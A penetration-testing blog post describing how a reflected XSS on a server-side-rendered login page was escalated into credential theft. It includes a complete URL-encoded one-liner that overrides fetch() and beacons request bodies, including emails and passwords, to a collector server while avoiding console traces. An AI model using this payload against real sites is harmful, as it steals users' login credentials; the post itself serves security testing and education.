HTTP Hijacking Through Cross-site Scripting (XSS)

HTTP Hijacking Through Cross-site Scripting (XSS)image

In our recent web application assessment project, we encountered an application employing server-side rendering (SSR). SSR is a technique where HTML content is generated on the server rather than the client’s browser, involving frameworks such as Next.js, Nuxt.js, Angular Universal, and Ruby on Rails. This method renders the web page on the server, sends the fully rendered HTML to the client, and then displays the content in the client’s browser. JavaScript is responsible for firing HTTP requests to the server.

Early in the project, we identified a Cross-Site Scripting (XSS) vulnerability on the login page. If an authenticated user navigates to the login page, their session is terminated, and they are prompted to sign in again, preventing us from collecting the authentication session. Additionally, an HttpOnly cookie is set, limiting the real-world impact of the XSS vulnerability.

We observed that the login request is triggered by JavaScript at a low level using the fetch() function, with both the email and password sent in clear text. To exploit this, we needed a method to intercept and steal this data.

If we can only find a way to steal the data being sent to the server, we can leverage the impact of our XSS finding.

Proof of Concept

We decided to override the fetch() function to log every request body argument, allowing us to capture the login request (email and password).

Attack Payload

In a real-world scenario, an attacker would intercept this request body and send it to their server to hijack the traffic. However, attempting to call the fetch() function while overriding it led to a recursion error: Uncaught (in promise) InternalError: too much recursion; fetch debugger eval code:8.

Fortunately, we explored using XMLHttpRequest, but encountered a CORS-related error since we were using a simple HTTP Python module. Next, we created a new Image object in JavaScript and set the src property. This approach worked but displayed a warning message in the browser console: A resource is blocked by OpaqueResponseBlocking, please check browser console for details.

To avoid leaving traces in the console, we utilized navigator.sendBeacon to stay under the radar.

Let's convert it to a full payload and convert into a one-liner:

http://[REDACTED]/login?email=test@test.com%22%20onmouseover=%22(function(){var%20o=window.fetch;window.fetch=function(){var%20a=arguments,r=a[1]?.body;if(r){navigator.sendBeacon(`http://127.0.0.1:8000/${encodeURIComponent(r)}`,%20new%20Blob([r],%20{type:%20%27application/x-www-form-urlencoded%27}));}return%20o.apply(this,a);};})();%22%20a=%22

Upon opening the page, the user sees test@test.com in the email field which they probably want to change to their real email. When they move their mouse cursor over it, our payload overrides the fetch() function to redirect all HTTP requests from that session to our chosen destination, allowing an attacker to hijack the HTTP traffic. By successfully capturing and redirecting the HTTP requests, the attacker can log the intercepted data as shown below:

Attacker's HTTP Traffic Logs

Author

Mirna Novak

Date

29. March, 2025.

Tags

No tags

Attacking 2FA in Modern Web Applications
Technical

17. May, 2025.

Attacking 2FA in Modern Web Applications

Read Entry
PentestPad v1.0 Release
Insights

13. May, 2025.

PentestPad v1.0 Release

Read Entry
The Hidden Cost of Manual Pentest Reporting (and How to Eliminate It)
insight

10. April, 2025.

The Hidden Cost of Manual Pentest Reporting (and How to Eliminate It)

Read Entry

Let's get you started

Create your account with PentestPad now, a tool developed by pentesters for pentesters.

logo-cta